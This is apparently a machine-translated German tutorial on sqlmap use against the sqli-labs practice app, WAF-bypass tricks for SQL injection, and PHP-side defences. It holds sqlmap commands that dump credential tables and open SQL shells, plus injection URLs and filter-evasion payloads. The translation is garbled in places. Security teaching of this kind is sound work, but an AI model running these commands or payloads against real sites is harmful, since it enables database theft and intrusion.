Heim  >  Artikel  >  Betrieb und Instandhaltung  >  So analysieren Sie die SQLMap- und SQLi-Injection-Abwehr

So analysieren Sie die SQLMap- und SQLi-Injection-Abwehr

WBOY
WBOYnach vorne
2023-05-11 18:37:061039Durchsuche

Teil 1: Verwenden von Sqlmap

1.1 Einführung in SQLmap

1. Ich habe bereits einige grundlegende Aussagen zur SQL-Injektion erwähnt, aber die manuelle Injektion ist sehr mühsam, das können wir Verwenden Sie sqlmap. Dieses leistungsstarke SQL-Injection-Tool wird zum Abrufen von Daten verwendet und Ausnutzen von SQL-Injection-Schwachstellen und

Zugriff auf den Server der Datenbank. Es verfügt über eine sehr leistungsstarke Erkennungs-Engine, einen Penetrationstester mit mehreren Funktionen, Zugriff auf das zugrunde liegende Dateisystem durch Datenbank-Fingerprinting und Befehlsausführung über eine Out-of-Band-Verbindung.

Offizielle Website: sqlmap.org


(2)#Unterstützte Datenbanken:

MySQL, Oracle, PostgreSQL , Microsoft SQL Server, MicrosoftSo analysieren Sie die SQLMap- und SQLi-Injection-AbwehrAccess, IBM DB2, SQLite, Firebird, Sybase und SAP MAXDB.

(3)#Unterstützung mehrerer Injektionsmethoden

#UNION-Abfrage-SQL-Injection (kann mit Abfrageinjektion kombiniert werden)

#Fehlerbasierte SQL-Injection (Fehler- basierte Injektion) )

#Boolesche blinde SQL-Injektion (Boolesche Injektion)

#Zeitbasierte blinde SQL-Injektion (basierend auf Zeitverzögerungsinjektion)

#Gestapelte Abfragen SQL-Injektion (mehrere Anweisungen). Abfrageinjektion)

1.2 SQLmap-Installation und Umgebungsaufbau

1. Hauptschritte der SQLmap-Installation

(1) Python-Umgebung installieren---> ;sqlmap erfordert Python-Umgebung

Python-Download-Adresse: https://www.python.org/downloads/release/python-2715/)

#🎜 🎜##🎜 🎜# sqlmap ist besser mit Python2 kompatibel.

(2) Installieren Sie Python nicht im chinesischen Pfad und fügen Sie Python zur Umgebungsvariablen hinzu #

So analysieren Sie die SQLMap- und SQLi-Injection-Abwehr#🎜🎜 #

(3) Laden Sie sqlmap herunter und installieren Sie es. Ändern Sie das Installationsverzeichnis in C:UsersAdministratorsqlmap

( 4) Testen Sie die Python-Umgebung: Geben Sie die cmd-Befehlszeile ein und geben Sie # 🎜🎜#python,

ein. Wenn die folgenden Aufforderungen angezeigt werden, ist die Installation erfolgreichSo analysieren Sie die SQLMap- und SQLi-Injection-Abwehr

C:UsersAdministrator>

python So analysieren Sie die SQLMap- und SQLi-Injection-Abwehr

Python 2.7.16 #🎜 🎜 #(v2.7.16:413a49145e, 4. März 2019, 01:37:19) [MSC v.1500 64 Bit (AMD64)] auf Win32

Geben Sie „Hilfe“, „Copyright“, „Credits“ oder „Lizenz“ ein, um weitere Informationen zu erhalten.

>>>

(5) sqlmap-Test: Geben Sie die cmd-Befehlszeile ein und geben Sie sqlmap.py -h (Notizpfad) ein information


#🎜 🎜 #1.3 Allgemeine Parameter von sqlmap
#(1) Bibliotheksnamen, Spaltennamen, Berechtigungen abrufen

- -dbs #Alle Datenbanken abrufen

--dbms mysql #Datenbank angeben type

So analysieren Sie die SQLMap- und SQLi-Injection-Abwehr

--users # Alle Datenbankbenutzer (lokaler Datenbankbenutzername)

--passwords #Get das Datenbankpasswort (kann nur mit Erlaubnis gelesen werden)

    #🎜 🎜#
  • --technique #Geben Sie an, welche Injektionsart verwendet werden soll

  • --current-db #Aktuelle Datenbank

    #🎜 🎜#
  • --banner #Datenbankidentifikation abrufen
  • #🎜🎜 #-D Datenbankname --tables #-D wird verwendet, um Daten anzugeben, --tables ruft eine bestimmte Bibliothek ab. Die folgende Tabelle
  • -D Datenbankname -T Tabellenname -- columns #-T gibt den Tabellennamen an, --columns ruft das Spaltenfeld ab
  • # 🎜🎜#

    -D Datenbankname -T Tabellenname -C Spalte_1,Spalte_2 --dump

    # 🎜🎜#--users #Spalte Datenbankverwaltungsbenutzer Wenn der aktuelle Benutzer die Berechtigung hat, die Tabelle mit allen Benutzern zu lesen, können alle Verwaltungsbenutzer aufgelistet werden.
  • --current-user #Benutzer, die Verwaltungsdaten in den meisten Datenbanken abrufen können.
  • --is-dba #Bestimmen Sie, ob der aktuelle Benutzer ein Verwaltungsbenutzer ist. Wenn ja, wird True zurückgegeben.
  • --privileges #Wenn der aktuelle Benutzer die Berechtigung hat, die Tabelle mit allen Benutzern zu lesen, werden wahrscheinlich die Berechtigungen jedes Benutzers aufgelistet, und sqlmap teilt Ihnen dies mit Wer ist der Superadministrator der Datenbank? Sie können auch den Parameter -U verwenden, um die Berechtigungen des Benutzers anzugeben, den Sie sehen möchten.
  • --proxy #Geben Sie einen Proxyserver an, z. B.: –proxy http://local:8080
  • #🎜🎜 #
    #(2) Geben Sie das Suffix und das Suffix an:

    • #sqlmap kann viele Interferenzzeichen nicht erkennen, Sie können das Präfix und Suffix beim Schließen manuell angeben

    • Wählen Sie * aus Benutzern aus, bei denen id=((('1'))) und 1=1 ist

    • # - -prefix=PREFIX Das Präfix der Nutzlastzeichenfolge einfügen

    • #–suffix=SUFFIX Das Suffix der Nutzlastzeichenfolge einfügen
      z. B.: sqlmap -u „www.target.com/index.php?id=1“ -p id -- Präfix "'))"
      --Suffix "AND ('1'='1"

    #(3) Ergebnisse exportieren:

    • sqlmap -u "www.a.com/1.php ? id=1“ --file-write=“d:/1.txt“

    • --file-dest=“E:/wwwroot/web/one.php“

    • --batch vollautomatisch

    • --start=Startnummer--stop=Endnummer

    • --dump Daten exportieren

    • --dump-all Alle Daten exportieren

    • --purge-output/ --purge Löschen Sie das Cache-Verzeichnis

    • --sql-shell Rebound-SQLShell, ähnlich dem SQL-Abfrageanalysator. Standardpfad.sqlmap (klicken Sie auf SQLMap)

    1.4 SQLMap-Praxisbeispiel

    #Less-1--Less65 allgemeine Anweisung ( Diese Sätze sind die am häufigsten verwendeten Parameter und müssen verstanden werden)

    #(1) Alle Bibliotheksnamen abrufen
    C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less -1? id=1" --dbs --dbms=mysql --batch

    # Analyse:

    -u gefolgt von URL bedeutet die Test-URL

    --dbs bedeutet alle Datenbanken abrufen

    --dbms bedeutet, dass die Der angegebene Datenbanktyp ist MySQL.

    --batch bedeutet, dass er automatisch abgerufen wird angegebene Datenbank als Sicherheitsspaltennamen in der Benutzertabelle

    -D Sicherheit -T Benutzer -C Benutzername, Passwort --dump #Erhalten Sie die Dateninformationen der Benutzernamen- und Passwortfelder in der Sicherheitsbibliothek, Benutzertabelle, --dump bedeutet Anzeigen die Ergebnisse:

    #(2) Den aktuellen Bibliotheksnamen abrufen

    C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db --batch

    #Ergebnis:aktuelle Datenbank: ' security'


    #(3) Holen Sie sich den aktuellen Tabellennamen

    C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id= 1" -D security --tables -- batch


    #Results:

    Database: security[4 tables]+----------+
    | emails |
    | referers || uagents ||. Benutzer |
    +-- --------+

    #(4) Holen Sie sich den aktuellen Spaltennamen

    C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost /sqli/Less-1?id=1" -D security -T Benutzer --columns --batch

    #Ergebnis:

    Datenbank: Sicherheit
    Tabelle: Benutzer
    [3 Spalten]
    +----- -----+----- --------+
    |. Typ |
    +---------- --+
    |. int(3) |

    |. varchar(20) |

    +------- ------+
    # (5) Rufen Sie den Benutzernamen und das Passwort in der Benutzertabelle ab

    C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id =1" -D Sicherheit -T Benutzer -C Benutzername, Passwort --dump --batch

    #Ergebnis:

    Datenbank: Sicherheit
    Tabelle: Benutzer
    [13 Einträge]
    +-------- --+---------- --+
    |. Passwort |
    +----------+-----------+
    | Dumm |
    |. I-töte dich |
    |. dumm | admin |. admin1 |

    |. admin3 |

    |. admin4 | ---------+
    Teil 2: WAF-Bypass für SQL-Injection

    2.1 Einführung in die WAF-Bypass-Methode für SQL-Injection
    Hinweis: Hier sind nur Beispiele für Bypass-Methoden, das tatsächliche Szenario ist mehr kompliziert. Mehrere Bypass-Methoden können gemischt und verwendet werden.


    1. Wie können wir die SQL-Injektion verhindern? ) Filter und/oder



    #(3) Filterauswahl oder Vereinigung



    #(4) Filter-Blacklist



    2. Welche Möglichkeiten gibt es, gefiltert und/oder zu umgehen?



    #( 1) MySQL unterscheidet nicht zwischen Groß- und Kleinschreibung und kann korrekt ausgeführt werden ===>Deformation von Groß- und Kleinbuchstaben verwenden

    ?? (4) Inline-Kommentare und mehrzeilige Kommentare ===> Kommentare hinzufügen a/**/nd Double Write Bypass oORr
  • 3 Natürlich gibt es auch andere Methoden, um über die Umgehung zu sprechen.
  • Es gibt WAF-Geräte in realen Szenen, und WAF wird tatsächlich gefiltert Einige Schlüsselwörter um SQL-Injection zu verhindern.

    2.2 SQL-Injection-Bypass-WAF-Experiment
  • 1. Gefilterte Kommentarzeichen (weniger als 23 als Beispiel)

    #(1) Grund für das Filtern von Kommentarzeichen: für normales SQL In der Anweisung das Kommentarzeichen spielt die Rolle der Erklärung. Bei der Ausnutzung von SQL-Injection-Schwachstellen spielen Kommentarzeichen jedoch die Rolle des Schließens von einfachen Anführungszeichen, mehreren einfachen Anführungszeichen, doppelten Anführungszeichen, einzelnen Klammern und mehreren Klammern.
  • Einzeiliger Kommentar: --+ oder --space oder #
Mehrzeiliger Kommentar: /* Mehrzeiliger Kommentarinhalt*/

#(2) Filterfunktion preg_replace

preg_replace(mixed $pattern, Mixed $replacement, Mixed $subject) : Führen Sie eine Suche und Ersetzung mit regulären Ausdrücken durch.

$pattern: Das zu suchende Muster, das eine Zeichenfolge oder ein Array von Zeichenfolgen sein kann.

$replacement: Die Zeichenfolge oder das Array von Zeichenfolgen, die zum Ersetzen verwendet werden.

$subject: Der Ziel-String oder das String-Array, der durchsucht und ersetzt werden soll.



#(3) Umgehen von Kommentarzeichen:

Die Verwendung von Kommentarzeichen zum Filtern kann einfache Anführungszeichen usw. nicht erfolgreich schließen. Ändern Sie die Idee und verwenden Sie oder '1'='1, um einfache Anführungszeichen usw. zu schließen.

http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273



2. So umgehen Sie und oder oder nach dem Filtern Bestanden? (Kleiner-25 als Beispiel)

So analysieren Sie die SQLMap- und SQLi-Injection-Abwehr(1) Quellcode-Analyse: Sie können sehen, dass das oder oder und durch leer ersetzt wird



(2) Operationsschritte

So analysieren Sie die SQLMap- und SQLi-Injection-Abwehr

3. Gefilterte Leerzeichen sollten wie umgangen werden (Less-26 als Beispiel)

So analysieren Sie die SQLMap- und SQLi-Injection-Abwehr(1) Verwenden Sie %0a als Leerzeichen

So analysieren Sie die SQLMap- und SQLi-Injection-Abwehr4 )So analysieren Sie die SQLMap- und SQLi-Injection-AbwehrSo analysieren Sie die SQLMap- und SQLi-Injection-Abwehr

So analysieren Sie die SQLMap- und SQLi-Injection-Abwehr

Teil 3: SQL-Injection-Verteidigung

3.1 SQL-Injection-Verteidigungsmethode So analysieren Sie die SQLMap- und SQLi-Injection-AbwehrSo analysieren Sie die SQLMap- und SQLi-Injection-Abwehr1. Allgemeine Schutzmaßnahmen: So analysieren Sie die SQLMap- und SQLi-Injection-Abwehr

#(1), Fehlermeldungen ausschalten: display_errors= im PHP Konfigurationsdatei php.ini Off

#(2), magische Anführungszeichen (gleicher Effekt wie Addslashes): Wenn magic_quotes_gpc=On in php.ini. Alle einfachen Anführungszeichen ('), doppelten Anführungszeichen ("), Backslashes () und NUL (NULL-Zeichen) in den übermittelten Variablen werden automatisch in Escape-Zeichen mit Backslashes So analysieren Sie die SQLMap- und SQLi-Injection-Abwehr#(3) umgewandelt und die Daten werden verarbeitet. Filterung: Für Filtern Sie beispielsweise gängige Schlüsselwörter wie and/or/union So analysieren Sie die SQLMap- und SQLi-Injection-Abwehr#(4) heraus, steuern Sie die Benutzerberechtigungen für die Verbindung mit der Datenbank: Jede Bibliothek legt einen Administrator für eine einzelne Bibliothek fest, verwenden Sie keine Root-Berechtigungen

#(5), Vorverarbeitung und Parametrisierung (PDO): Verarbeiten Sie die vom Benutzer übergebenen Parameter und geben Sie einen booleschen Wert zurück, anstatt die Daten einfach zu „spleißen“, wodurch SQL-Injection vermieden wird.

#(6), Hardware-Schutzmaßnahmen (WAF und andere). Hardware)

Das obige ist der detaillierte Inhalt vonSo analysieren Sie die SQLMap- und SQLi-Injection-Abwehr. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen